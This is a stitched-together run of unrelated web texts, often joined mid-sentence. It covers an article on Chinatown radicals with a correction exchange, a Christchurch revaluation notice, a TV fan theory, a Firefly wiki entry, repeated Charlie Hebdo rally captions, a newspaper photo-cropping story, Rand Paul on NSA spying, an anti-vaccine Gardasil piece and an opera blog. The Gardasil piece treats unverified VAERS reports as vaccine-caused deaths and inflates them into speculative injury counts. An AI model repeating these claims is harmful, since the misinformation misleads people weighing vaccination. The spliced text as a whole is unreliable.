Caught in the middle of all these politics were ordinary people in Chinatown who were growing weary of the decades-long diplomatic freeze between the U.S. and the People's Republic of China and longed to reconnect with friends and family in the mainland.
IWK tapped into these sentiments through public screenings of propaganda films, which showcased development projects like dam construction, as well as revolutionary operas like "The White-Haired Girl" and "The Red Detachment of Women." Low recalled people angrily pouring down buckets of water and throwing things from neighboring rooftops. And yet, thousands of people attended these screenings.
"A lot of them were older people, so they hadn't seen their homeland in 20 or 30 years. The only information they were getting was what organizations like IWK distributed," said Charlotte Brooks, a historian at Baruch College and author of Between Mao and McCarthy: Chinese American Politics in the Cold War Years. "They were hungry for those details."
As the '70s wound on, America's stance towards the People's Republic of China began to shift. In October 1971, the United Nations voted to expel Taiwan and admit the PRC as the acknowledged representative of China. IWK cheered the news and organized a demonstration outside the UN to welcome the arrival of PRC representatives, while conservative Chinatown leaders hung banners on Mott and Pell Streets that read, "Mao's regime does not represent the Chinese people" and "We demand bloodthirsty Mao be punished."
In the Chinese-American community, too, openness toward the People's Republic of China became mainstream. When the U.S. recognized the PRC in 1978, Nationalist sympathizers were bitterly disappointed, but in the broader community, there was largely a sense of relief.
The IWK logo invokes the clenched fist of "Yellow Power," as well as the "Harmonious Fist" in the group's name. That same year, IWK merged with several other radical groups to become the League of Revolutionary Struggle. But by that point, the revolutionary spirit of the '60s and '70s was fading. The League formally dissolved in 1990.
With time, former radicals became business owners or professionals. They settled down and had families.
Today, some remain active in progressive politics, but "in different form," as Low puts it. She's spent her career as an educator and organizer. Corky Lee worked on a successful campaign to get formal recognition from the U.S. Department of Labor for the key role played by Chinese laborers in building America's railroads.
In Chinatown, the legacy of IWK is still visible. On Canal, Walker and Centre Streets, there stand branches of the Charles B. Wang Community Health Center, a nonprofit that caters to medically underserved New Yorkers, particularly Asian-Americans. There are two more locations in Flushing. The Center grew out of the Chinatown Health Clinic, which in turn grew out of the 1971 health fair organized by IWK, Corky Lee, and many other idealistic young Asian-Americans. Each year, nearly 50,000 patients visit the Charles B. Wang facilities. The mission of those young radicals—to serve the people—lives on.
Eveline Chao is a freelance writer based in Brooklyn. She is the author of NIUBI!: The Real Chinese You Were Never Taught in School, a guide to Chinese slang. Chao is currently working on an oral history project about Manhattan Chinatown.
Editor's note: After the publication of this story, Regina Lee, chief development officer at the Charles B. Wang Community Health Center, wrote in to Gothamist to express concern about our description of the origins of the Health Center. Her letter, along with a response from the author, follows:
As a volunteer in the 1971 Chinatown Health Fair and co-founder of the Charles B. Wang Community Health Center, I am writing to correct and clarify some significant misstatements and erroneous conclusions in your article "How Asian American Radicals Brought Yellow Power to Chinatown."
The person responsible for the 1971 Chinatown Health Fair was Thomas Tam. At that time, Tom was an organizer with the Lower East Side Neighborhood Health Council. The Lower East Side, which had a very successful history of community mobilization to make health services more accountable, was the target area for one of the first neighborhood health service programs funded by the national Office of Economic Development. The Health Council served as the community council for this program, which was based at Gouverneur Hospital and sought to make services more accountable to the community and strengthen resident participation in policy making. It was Tom, Marie Lam (social worker at Chinatown Planning Council), and Kai Liu (staff at Two Bridges Neighborhood Health Council) who led the successful campaign to get the NYC Health and Hospitals Corporation to hire more bilingual workers at Gouverneur.
Following the tremendous community response to the health fair, Tom and the health fair organizers worked together to establish a free clinic to meet the ongoing health care needs of Chinatown residents. The Church of Our Savior on Henry Street donated free space, and we recruited volunteer doctors, nurses and students to offer 10 hours of basic health care services free of charge to all community members. We also launched patient navigator and health education programs to supplement these basic services. The volunteers who maintained the health center during those early years were mostly college students. Several years ago, the corner of Canal Street and Cortland Alley in Chinatown was named Honorable Thomas Tam Way to honor Tom's role in initiating the health fair and the clinic.
IWK did not play any meaningful role in either the health fair or the health clinic. For those of us who were involved, we found inspiration from the social activism that was occurring in the US during the '60s and early '70s, such as the free clinic movement, which started in Haight Ashbury and Berkeley, and the Johnson Administration’s Great Society programs that gave us Medicaid and Medicare. Our vision for a community-based health clinic was not shaped by the ideology of the Red Guards, but by Dr. Jack Geiger, who founded the first community health centers in the U.S. at Columbia Point in Boston and Mound Bayou in Mississippi.
During the early '70s, several Marxist Leninist groups such as IWK, October League and the Communist Party USA had a small presence in Chinatown. I remember that many people in the community were wary about these groups because of the sharp divisions in Chinatown over US-China relations. The divisions were frequently along generational lines. The health clinic leadership was very careful to steer clear of any organizational relationships/affiliation with IWK and other radical groups out of concern that volunteers and patients would be turned off.
To suggest that the Charles B. Wang Community Health Center is a legacy of IWK is an absurd conclusion. The Health Center published a 308-page history book, From Street Fair to Medical Home, in 2011 to commemorate our 40th anniversary. The book is based on oral histories conducted with Health Center founders and volunteers, as well as our archival records. The book makes no references to IWK as an initiator/influencer in the health fair or the health clinic. No founders or volunteers who participated in the interviews even mentioned IWK.
Regina Lee
Thanks to Regina Lee for the important supplementary information. I would like to reassure her and all the other admirable people who helped bring about the Chinatown Health Clinic and the later Charles B. Wang Community Health Center that at no point during our interviews did any former IWK members ever take credit for creating either entity. What they discussed was helping with the Chinatown Health Fair, the one-off event that preceded those entities. That involvement is corroborated in published accounts of the fair and also came up in conversations with historians, leaving me no reason to doubt the claims. I agree that IWK was not involved in the fair's later transformation into a full-time clinic; for that reason they are not mentioned in the sentence describing the founding of the Chinatown Health Clinic.
I also agree that there was not a large Marxist-Leninist presence in Chinatown; as mentioned in the piece, IWK had just 12 members. As for the concluding paragraph, because the group volunteered at the fair, which became the clinic then center, I consider it fair to paint a symbolic link between the Charles B. Wang Community Health Center and the former "mission" of the group, and to portray their histories as having intersected.
The story of how the Charles B. Wang Community Health Center came to be is a rich and commendable chapter in this city's history, but was not the subject of this piece. For that reason, I did not get into the important work of Thomas Tam, Regina Lee herself, and the many other people, of all political stripes, who brought about the clinic and the center.
My aim in telling the story of one small group of people is certainly not to diminish the achievements of others not mentioned, and I welcome the addition of more voices and more context to this story.
Author Eveline Chao responds:The wait is over for homeowners wanting to find out how much their home is now valued at for rating purposes.
Information on the new values is now available online at www.ccc.govt.nz.
Christchurch's 165,000 properties have been revalued for the first time in six years and the results show that, in nearly all areas of the city, property prices have increased - in some cases by up to 43 per cent.
''Most residential property values have increased from the previous peak of the market in 2007, with almost 80 per cent experiencing a rise of 10 per cent or more.
"This is the result of strong demand for housing fuelled by the influx of workers into the city and the relocation of approximately 7000 red-zoned properties," said Quotable Value (QV) southern operations manager Brendon Bodger.
Properties in the north western suburbs have experienced the biggest jump in value.
Are you happy with your valuation? Email [email protected] Milioti plays the show’s still unnamed mother.
CBS
This post contains spoilers from the most recent episode.
For the past nine seasons of How I Met Your Mother, Ted Mosby (Josh Radnor) has been telling the story of his 20s and early 30s to his children—with the ultimate goal of explaining to them how, well, you know. It’s a fairly straightforward premise, but fans have nonetheless tried for years now to find clues that would explain why, exactly, he’s telling his kids this story. This is, after all, a meticulously crafted show, one that develops jokes across multiple seasons (last night’s episode featured a side plot involving the sequel to The Wedding Bride), brings back bit characters for clever cameos (such as a surprisingly great Britney Spears), and employs near-constant foreshadowing (did we ever find out the story with the goat?).
Last night, one of the more seemingly outlandish theories may have been confirmed: The show’s titular mother is dying or perhaps has already died by the time Ted starts telling this story to his kids.
I first heard this theory last year when Jenna Mullins suggested it. She outlined three pretty convincing reasons. First, the shows’ creators have always maintained that they knew how the series would end and never changed their mind about that. (The mother being dead is an easy thing to keep in place while constantly changing the various other plotlines building up to it.) Second, an episode in Season 8, “The Time Travelers,” has Ted imagining running to his future wife’s apartment to tell her that he wants to start his life with her 45 days earlier—something that can be read as merely an expression of his deep love for her, but, can also be read as wanting more time together than they have. “Exactly 45 days from now,” Ted says, “you and I are going to meet. We’re going to fall in love and we’re going to get married, and we’re going to have two kids. We’re going to love them and each other so much. All that is 45 days away, but I’m here now, I guess because I want those extra 45 days with you. I want each one of them … I am always going to love you. Until the end of my days and beyond.” Reading it with this in mind transforms the romance into a bit of sadness.
Third, and perhaps most convincing (to me, anyway), the mother has never been referred to in the present tense. She has never been seen in the show’s flash-forwards. (In one flash-forward, Ted, high on a “sandwich”—the show’s euphemism for pot—asks, “Where’s my wife?” No one answers.) This can be reasoned away as a logistical matter, though, since the actress playing the mother wasn’t cast until Season 8.
None of those reasons are as convincing as the last few minutes of Monday night’s episode.
Ted and the still unnamed mother return often to the inn where Barney and Robin are getting married. They even get engaged there on the top of the lighthouse. Last night, with their older wig and makeup on, we see them sitting down for dinner. Ted prepares to tell yet another story only to be interrupted by the mother, who says she’s heard it already. “You’re the love of my life, Pooh Bear,” she tells him. “I just worry about you. I don’t want you to be the guy who lives in his stories. Life only moves forward.” The show then takes a sadder turn than usual, with Ted looking more mopey and serious.
He then continues with another story, about Robin’s wedding, and the surprise appearance at the ceremony of Robin’s mom. What mother misses their daughter’s wedding, Ted’s wife asks. Ted looks at her and begins to cry. She gets him to tell yet another story, distracting him, but with just a few more episodes left, the ending seems to be clearer than ever. As the show fades out, Bob Dylan’s “If You See Her, Say Hello” plays, confirming that Ted won’t be the only one crying during the finale."Six men came to kill me one time. And the best of 'em carried this. It's a Callahan full-bore auto-lock. Customized trigger, double cartridge thorough gauge. It is my very favorite gun … This is the best gun made by man. It has extreme sentimental value … I call her Vera." ―Jayne Cobb [src]
The Callahan Full-bore Auto-lock was a weapon with armor-piercing capabilities. Jayne Cobb owned one of these weapons and named it "Vera". It was reputed to be Jayne's favorite gun, though it is rarely seen and, strangely, it is not one of the weapons he takes to defend himself at the end of Serenity, instead preferring to use his assault rifle Lux against the Reavers.
Although not obvious, its name seemed to indicate that the weapon can dynamically switch bore sizes depending on the cartridge size that the user desires. The weapon required oxygen around it to operate.
Behind the scenes Edit
The "Callahan Full-bore Auto-lock" prop also appeared in the movie Showtime (2002) with Eddie Murphy and Robert De Niro, and is modeled with (mostly) bolt-on parts on top of a Russian Saiga-12 Kalashnikov-pattern semi-automatic shotgun. In the Russian language, the word "Vera" (вера - рус.) translates as: faith, trust, belief, and means serious hope. Also, it is a woman's name Vera (Вера - рус.).
On Halo 3 and Halo 3: ODST, Adam Baldwin's characters often use quotes like "Say hello to Vera" during battles whenever he throws a frag grenade.
The gun's apparent manufacturer is likely a reference to the "Dirty Harry" series,
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stands guard on January 11, 2015, as people gather for the start of a unity march in Paris, France. Huge crowds and some 40 world leaders are expected in Paris for a unity march after 17 people were killed during three days of deadly terror attacks. (Photo by Dursun Aydemir/Anadolu Agency/Getty Images) (Photo credit should read BERTRAND GUAY/AFP/Getty Images) (Photo credit should read JOEL SAGET/AFP/Getty Images) (Photo credit should read RAYMOND ROIG/AFP/Getty Images) (Photo credit should read RAYMOND ROIG/AFP/Getty Images) (Photo credit should read RAYMOND ROIG/AFP/Getty Images) People attend before a rally in Rennes, western France, on January 11, 2015, as tens of thousands of people stage rallies across France following four days of terror and twin siege dramas that claimed 17 victims, including the victims of the first attack by armed gunmen on the offices of French satirical newspaper Charlie Hebdo in Paris on January 7. AFP PHOTO / JEAN-FRANCOIS MONIER (Photo credit should read JEAN-FRANCOIS MONIER/AFP/Getty Images) UMP right-wing party member Francois Baroin (3rdL), French Socialist Party (PS) first secretary Jean-Christophe Cambadelis (5thL), UMP right-wing party member Jean-Francois Cope (C), Roger Cukierman, President of the CRIF (Representative Council of France's Jewish Associations), former French employers union MEDEF president Laurence Parisot, Jean-Paul Huchon President of the Ile de France region, UMP right-wing party member Valerie Pecresse, the Mayor of Lille and Socialist Party member Martine Aubry, Hassen Chalghoumi, Imam of the northern Paris suburb of Drancy and president of the French Association of Imams, French writer Marek Halter, UMP right-wing party member Eric Woerth, Joel Mergui, president of the Central Jewish Consistory of France and the Rector of Paris' Mosque Dalil Boubakeur (front) take part in a Unity rally Marche Republicaine in Paris on January 11, 2015 in tribute to the 17 victims of a three-day killing spree by homegrown Islamists. The killings began on January 7 with an assault on the Charlie Hebdo satirical magazine in Paris that saw two brothers massacre 12 people including some of the country's best-known cartoonists, the killing of a policewoman and the storming of a Jewish supermarket on the eastern fringes of the capital which killed 4 local residents. AFP PHOTO / THOMAS SAMSON (Photo credit should read THOMAS SAMSON/AFP/Getty Images) PARIS, FRANCE - JANUARY 11: French President Francois Hollande (R) welcomes German Chancellor Angela Merkel at the Elysee Palace before attending a Unity rally in tribute to the 17 victims of a three-day killing spree by homegrown Islamists on January 11, 2015 in Paris, France. A mass unity rally to be held in Paris following the recent terrorist attacks on January 11, 2015 in Paris, France. An estimated one million people are expected to converge in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. French President Francois Hollande will lead the march and will be joined by world leaders in a sign of unity. The terrorist atrocities started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Thierry Chesnot/Getty Images) Demonstrators hold placards as they take part in a protest outside the Kizilay Square in Ankara on January 11, 2015 in tribute to the 12 people killed at terror attack on Charlie Hebdo offices in Paris. AFP PHOTO/ADEM ALTAN (Photo credit should read ADEM ALTAN/AFP/Getty Images) German Chancellor Angela Merkel (2L), Belgian Prime Minister Charles Michel (3L), British Prime Minister David Cameron (4L) leave the Elysee Palace before attending a Unity rally Marche Republicaine on January 11, 2015 in Paris in tribute to the 17 victims of a three-day killing spree by homegrown Islamists. The killings began on January 7 with an assault on the Charlie Hebdo satirical magazine in Paris that saw two brothers massacre 12 people including some of the country's best-known cartoonists, the killing of a policewoman and the storming of a Jewish supermarket on the eastern fringes of the capital which killed 4 local residents. AFP PHOTO / DOMINIQUE FAGET (Photo credit should read DOMINIQUE FAGET/AFP/Getty Images) (FromL) French Prime minister Manuel Valls, French President Francois Hollande, Paris Mayor Anne Hidalgo, European Parliament President Martin Schulz, Senegal President Macky Sall and Turkish Prime Minister Ahmet Davutoglu leave the Elysee Palace before attending a Unity rally Marche Republicaine on January 11, 2015 in Paris in tribute to the 17 victims of a three-day killing spree by homegrown Islamists. The killings began on January 7 with an assault on the Charlie Hebdo satirical magazine in Paris that saw two brothers massacre 12 people including some of the country's best-known cartoonists, the killing of a policewoman and the storming of a Jewish supermarket on the eastern fringes of the capital which killed 4 local residents. AFP PHOTO / DOMINIQUE FAGET (Photo credit should read DOMINIQUE FAGET/AFP/Getty Images) People hold signs and the French flag as they gather at the Place de la Nation during the Unity rally Marche Republicaine on January 11, 2015 in Paris in tribute to the 17 victims of a three-day killing spree by homegrown Islamists. The killings began on January 7 with an assault on the Charlie Hebdo satirical magazine in Paris that saw two brothers massacre 12 people including some of the country's best-known cartoonists, the killing of a policewoman and the storming of a Jewish supermarket on the eastern fringes of the capital which killed 4 local residents. AFP PHOTO / MARTIN BUREAU (Photo credit should read MARTIN BUREAU/AFP/Getty Images) French President Francois Hollande (R) welcomes Israeli Prime Minister Benjamin Netanyahu (L) at the Elysee Palace before attending a Unity rally Marche Republicaine on January 11, 2015 in Paris in tribute to the 17 victims of a three-day killing spree by homegrown Islamists. The killings began on January 7 with an assault on the Charlie Hebdo satirical magazine in Paris that saw two brothers massacre 12 people including some of the country's best-known cartoonists, the killing of a policewoman and the storming of a Jewish supermarket on the eastern fringes of the capital which killed 4 local residents. AFP PHOTO / MATTHIEU ALEXANDRE (Photo credit should read MATTHIEU ALEXANDRE/AFP/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: A general view of Place de la Republique during the mass unity rally on January 11, 2015 in Paris, France. An estimated one million people have converged in central Paris for the Unity March joining in solidarity with the 17 victims of this week's terrorist attacks in the country. President Francois Hollande of France led the march and was joined by world leaders in a sign of unity. The terrorist acts started on Wednesday with the attack on the French satirical magazine Charlie Hebdo, killing 12, and ended on Friday with sieges at a printing company in Dammartin en Goele and a Kosher supermarket in Paris with four hostages and three suspects being killed. A fourth suspect, Hayat Boumeddiene, 26, escaped and is wanted in connection with the murder of a policewoman. (Photo by Aurelien Meunier/Getty Images) PARIS, FRANCE - JANUARY 11: People stand on a newsstand at 'Place de la Republique' during a unity rally in Paris led by French president Francois Hollande and other world leaders following the recent terrorist attacks, January 11, 2015 in Paris, France. An estimated one million people converged in central Paris for the Unity March in solidarity with the 17 victims of this week's terrorist attacks which began on Wednesday, January 8, 2014 with an attack on French satarical magazine Charlie Hebdo and continued through Friday with attacks at a printing company and a Kosher supermarket. Three suspects were killed in seiges while a fourth, Hayat Boumeddiene, 26, is wanted in connection with the murder of a policewoman. (Photo by Richard Bord/Getty Images) PARIS, FRANCE - JANUARY 11: Demonstrators make their way from 'Place de la Republique' to 'Place de la Nation' in a unity rally in Paris led by French president Francois Hollande and other world leaders following the recent terrorist attacks, January 11, 2015 in Paris, France. An estimated one million people converged in central Paris for the Unity March in solidarity with the 17 victims of this week's terrorist attacks which began on Wednesday, January 8, 2014 with an attack on French satarical magazine Charlie Hebdo and continued through Friday with attacks at a printing company and a Kosher supermarket. Three suspects were killed in seiges while a fourth, Hayat Boumeddiene, 26, is wanted in connection with the murder of a policewoman. (Photo by Richard Bord/Getty Images) PARIS, FRANCE - JANUARY 11: Demonstrators make their way from 'Place de la Republique' to 'Place de la Nation' in a unity rally in Paris led by French president Francois Hollande and other world leaders following the recent terrorist attacks, January 11, 2015 in Paris, France. An estimated one million people converged in central Paris for the Unity March in solidarity with the 17 victims of this week's terrorist attacks which began on Wednesday, January 8, 2014 with an attack on French satarical magazine Charlie Hebdo and continued through Friday with attacks at a printing company and a Kosher supermarket. Three suspects were killed in seiges while a fourth, Hayat Boumeddiene, 26, is wanted in connection with the murder of a policewoman. (Photo by Richard Bord/Getty Images) PARIS, FRANCE - JANUARY 11: Demonstrators make their way from 'Place de la Republique' to 'Place de la Nation' in a unity rally in Paris led by French president Francois Hollande and other world leaders following the recent terrorist attacks, January 11, 2015 in Paris, France. An estimated one million people converged in central Paris for the Unity March in solidarity with the 17 victims of this week's terrorist attacks which began on Wednesday, January 8, 2014 with an attack on French satarical magazine Charlie Hebdo and continued through Friday with attacks at a printing company and a Kosher supermarket. Three suspects were killed in seiges while a fourth, Hayat Boumeddiene, 26, is wanted in connection with the murder of a policewoman. (Photo by Richard Bord/Getty Images) PARIS, FRANCE - JANUARY 11: Demonstrators make their way from 'Place de la Republique' to 'Place de la Nation' in a unity rally in Paris led by French president Francois Hollande and other world leaders following the recent terrorist attacks, January 11, 2015 in Paris, France. An estimated one million people converged in central Paris for the Unity March in solidarity with the 17 victims of this week's terrorist attacks which began on Wednesday, January 8, 2014 with an attack on French satarical magazine Charlie Hebdo and continued through Friday with attacks at a printing company and a Kosher supermarket. Three suspects were killed in seiges while a fourth, Hayat Boumeddiene, 26, is wanted in connection with the murder of a policewoman. (Photo by Richard Bord/Getty Images) Up Next See Gallery Discover More Like This HIDE CAPTION SHOW CAPTION of SEE ALL BACK TO SLIDE
The picture in Hamevaser cut out other women, like Paris Mayor Anne Hidalgo, though the newspaper clumsily left her dark glove on the sleeve of a marcher. The European Union's foreign policy chief, Federica Mogherini, was also cropped out.
Binyamin Lipkin, editor of Hamevaser, said the newspaper is a family publication that must be suitable for all audiences, including young children.
"The 8-year-old can't see what I don't want him to see," he told Israel's Channel 10 television station. "True, a picture of Angela Merkel should not ruin the child, but if I draw a line, I have to put it there from the bottom all the way to the top."
He also said he did not want to tarnish the memories of people killed in the attacks.
"Including a picture of a woman into something so sacred, as far as we are concerned, it can desecrate the memory of the martyrs and not the other way around," he said.
Shmuel Pappenhym, an ultra-Orthodox commentator and educator, said that while the community must preserve its values, the newspaper had gone too far.
"''The Hamevaser newspaper does a thing like this, tomorrow it appears in Germany, it appears all over Europe, the rest of the world. It mocks the Jewish Orthodox community. It makes us look narrow minded. It makes us look obtuse," he said.Paul promised to stop the NSA’s surveillance of Americans in a Twitter rant he launched late Friday and continued into Saturday morning.
“As president, I will immediately end all illegal domestic spying programs,” Paul said in one of about a dozen tweets on the subject.
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The NSA’s domestic spying program has come under scrutiny since whistleblower Edward Snowden released classified documents about the agency’s operations.
Paul is making the surveillance a campaign talking point that he hopes will help separate him from the Republican pack.
On Wednesday, Paul said the nation’s founders would be “ mortified ” by the NSA spying revelations during a speech to the Constitution Project.
Since then, he has gone into greater detail on Twitter, attacking President Obama and even some fellow Republicans over their support of the spying program.
Former Florida Gov. Jeb Bush, who many see as the early favorite for the Republican presidential nomination, said earlier in the week the continuation of NSA’s spying program is “the best part of the Obama administration.”
Paul was not shy about attacking Bush on Twitter over these comments.
“Sadly, one GOP candidate thinks the NSA’s violation of your rights is ‘very important,’ ” Paul tweeted- Advertisement -
Do you find something seriously wrong with this scenario?
Reports of faulty gas pedals, obstructive floor carpets, and failing breaks in Toyota and Lexus vehicles generated uproar across major media networks. For the 4-year period starting in 2006, the National Highway Traffic Safety Administration (NHTSA) had reported 5 deaths, 17 injuries and 13 crashes, and an additional 29 deaths between 2000 and 2005. There was no hesitation among the networks and federal officials to demonize Toyota for knowingly risking the lives of people solely to empty its dealership lots. Even Congress quickly called for a Congressional investigation, and Toyota took upon itself the responsibility to recall over 8 million vehicles.
During the same four year period while NHTSA was collecting crash data on Toyota's lemons, the Centers for Disease Control's (CDC) Vaccine Adverse Events Reporting System (VAERS) database was gathering casualty data following vaccinations with Merck's human papilloma virus (HPV) vaccine, Gardasil. And it was clear that Merck was far ahead and winning its race against Toyota for the Lemon of the Decade Award. Since Gardasil's launch in 2006, the vaccine has been responsible for 66 deaths and over 17,700 medical injuries of young girls, some as young as 11 years old. Six percent of reported events, or 1,100 girls, were serious enough to require emergency hospitalization.
Unfortunately, vaccine injuries are not reported immediately and thoroughly as are automobile accidents and deaths. There are no vaccine police rushing to the scene of vaccine accidents to investigate the incidents and to record injuries and fatalities accurately. Consequently, only a fraction of vaccine adverse events are reported by pediatricians, physicians, medical clinics and hospitals, and make their way eventually into the VAERS database. Few parents even know such a reporting system exists.
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Cindy Bevington has investigated and reported about Gardasil extensively. During a Progressive Radio Network interview, she reported on the hundreds and hundreds of emails she receives from girls, mothers and doctors around the US and other countries complaining about the HPV vaccines. Often she receives parents' requests "begging" for help because their pediatricians and physicians refuse to report their daughters' adverse events as vaccine related.
By the CDC's own admission, only 10 percent of adverse events get listed on VAERS. Even this very conservative figure has been refuted by independent analyses; actual records can be as low as 1 percent of all actual negative reactions for any given vaccine. It is therefore realistic to suspect that Gardasil is associated with between 177,000 and 1.7 million adverse effects among vaccinated American girls and young women.
Medalerts.org reports that a young woman vaccinated with Gardasil is ten times more likely to file a VAERS report compared to an influenza vaccination. HPV vaccines now account for 20 percent of all vaccine side effects aside from the H1N1 swine flu vaccine. America's daughters are twice as likely to have an emergency room visit. They are four times more likely to have a death sentence, five times more likely to receive a report of "did not recover," and seven times more likely be pronounced "disabled."
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Besides the 66 deaths, Gardasil's serious side effects now include Guillain-Barre syndrome, lupus, seizures, anaphylactic shock, chronic fatigue, paralysis, blood clots, brain inflammation, blurred vision and blindness, convulsions, demyelinating encephalomyelitis, multiple sclerosis, pancreatitis and various digestive disorders. Last autumn a case of amyotrophic lateral sclerosis, better known as Lou Gehrig's disease, was reported. And a recent 2010 issue of the Journal of Child Neurology investigated the case of a 16-year old girl going blind following vaccination, a secondary symptom to multiple sclerosis.
Next Page 1 | 2 | 3 | 4 | 5 | 6 | 7A few weeks ago my friend's Chris and Marissa invited me to the Seattle Opera to see the current production, Orpheus and Eurydice. Marissa is a very talented dancer and dancing in the production. This was my first experience with the Seattle Opera and I was pleasantly surprised.If you do not know the myth of Eurydice and Orpheus, here is the quick Elise version. You can also check out the Seattle Opera version, too.Orpheus and Eurydice is performed in French, but subtitles are displayed above the stage, in an non-obtrusive way. I found that I was often not following the subtitles and instead just watching the actors and dancers.The Opera starts with Eurydice's funeral. Orpheus is obviously distraught and mourning. He wants her back and is pleading with the spirits to give her back (also, in this scene the dancers rub mud on their face). Amore, the fairy on a bike with really sparkly gold wings, tells Orpheus that he can have Eurydice back, but he cannot look at her during their journey home.Orpheus then goes to Hell to look for Eurydice. The spirits are dancing around him, trying to block him, and Eurydice isn't there, but he maybe wins them over... I'm not sure why he left Hell.Then he goes to the heavens. They are beautiful, tranquil and Orpheus is distracted for a moment, but he still misses Eurydice. This scene is very calming and I could not help but feeling relaxed and tranquil myself. The shade of blue in the backdrop is absolutely beautiful and I want that color for my bedroom walls.Also, I did cry a little bit during this scene because Marissa looked absolutely stunning on stage. This is her first large performance, where she is featured. She loves being a dancer and I was so happy to see her following her passion, and so proud of her.OK, back to the synopsis....While in heaven, the spirits are moved by Orpheus and they give him Eurydice. But remember, he can't look at her. Well, Eurydice starts begging him to look at her, and he won't, but she is whining and guilt tripping him. At this 